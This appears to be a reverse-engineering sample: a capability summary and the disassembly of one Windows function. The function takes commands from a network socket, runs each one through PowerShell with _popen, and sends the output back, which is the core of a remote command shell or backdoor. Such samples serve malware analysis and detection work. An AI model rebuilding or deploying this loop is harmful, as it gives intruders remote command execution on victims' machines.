Function at 0x140001470
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11d0]
mov eax, 0x12d0
call fcn.140003050
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x11c0], rax
mov qword [rsp + 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov rcx, qword [rcx]
lea r8, [rsp + 0x38]
mov edx, 0x4004667f
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x1400019ea
movabs rsi, 0x8000000000000000
movabs r15, 0x7fffffffffffffff
mov r12d, socket
cmp dword [rsp + 0x38], 0
je 0x1400019c2
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x1c0]
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400019ea
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
cmp rdi, r15
ja 0x140001a43
cmp rdi, 0xf
ja 0x140001586
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], recv
mov r8, rdi
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x60], 0
mov rbx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x60]
jmp 0x140001613
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
jbe 0x14000159b
mov rbx, r15
lea rax, [rsi + 0x27]
jmp 0x1400015c7
cmp rbx, 0x16
cmovb rbx, r12
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400015b1
mov rsi, r14
jmp 0x1400015ee
cmp rcx, 0x1000
jb 0x1400015e6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a49
mov rcx, rax
call fcn.140002180
test rax, rax
je 0x140001a36
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400015ee
call fcn.140002180
mov rsi, rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rdi], 0
mov rax, r15
sub rax, rdi
cmp rax, 0x19
jb 0x140001a3d
lea r13, [rsp + 0x60]
cmp rbx, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r12, [rdi + 0x19]
mov r14d, recv
lea r15, [rsp + 0x40]
cmp r12, r14
jbe 0x1400016e0
mov r14, r12
or r14, 0xf
movabs rax, 0x7fffffffffffffff
cmp r14, rax
jbe 0x140001683
mov r14, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400016b4
cmp r14, 0x16
mov eax, socket
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14000169e
xor r15d, r15d
jmp 0x1400016db
cmp rcx, 0x1000
jb 0x1400016d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a4f
mov rcx, rax
call fcn.140002180
test rax, rax
je 0x140001a1a
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400016db
call fcn.140002180
mov r15, rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [str.powershell.exe__Command__]
movups xmmword [r15], xmm0
movsd xmm0, qword [0x140004468]
movsd qword [r15 + 0x10], xmm0
movzx eax, byte [0x140004470]
mov byte [r15 + 0x18], al
lea rcx, [r15 + 0x19]
mov r8, rdi
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + r12], 0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000175d
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x40]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x40]
jmp 0x14000177c
mov qword [rsp + 0x20], 1
lea r9, [0x140004450]
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140001f70
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r14d, r14d
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], r14b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400017e9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a21
call fcn.1400021bc
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
lea rdx, [0x140004474]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
je 0x1400018ec
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], recv
mov byte [rsp + 0x40], 0
mov r8, rax
mov edx, 0x1000
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000187b
nop word [rax + rax]
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x40]
call fcn.140001a60
mov r8, rdi
mov edx, 0x1000
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001850
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_send]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400018ec
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a28
call fcn.1400021bc
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rcx, qword [rax]
mov qword [rbp - 0x48], rcx
mov dword [rbp - 0x50], 1
mov qword [rbp - 0x60], 5
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140001961
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a2f
call fcn.1400021bc
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], recv
mov byte [rbp - 0x80], 0
cmp rbx, 0xf
jbe 0x1400019a8
lea rdx, [rbx + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400019a0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a36
mov rcx, rsi
call fcn.1400021bc
mov r12d, socket
movabs r15, 0x7fffffffffffffff
movabs rsi, 0x8000000000000000
mov dword [rsp + 0x38], r14d
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
lea r8, [rsp + 0x38]
mov edx, 0x4004667f
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x1400014f3
mov rcx, qword [rbp + 0x11c0]
xor rcx, rsp
call fcn.140002160
lea r11, [rsp + 0x12d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011a0
nop
call fcn.1400011a0
int3
call fcn.140001100
nop
call fcn.140001100
int3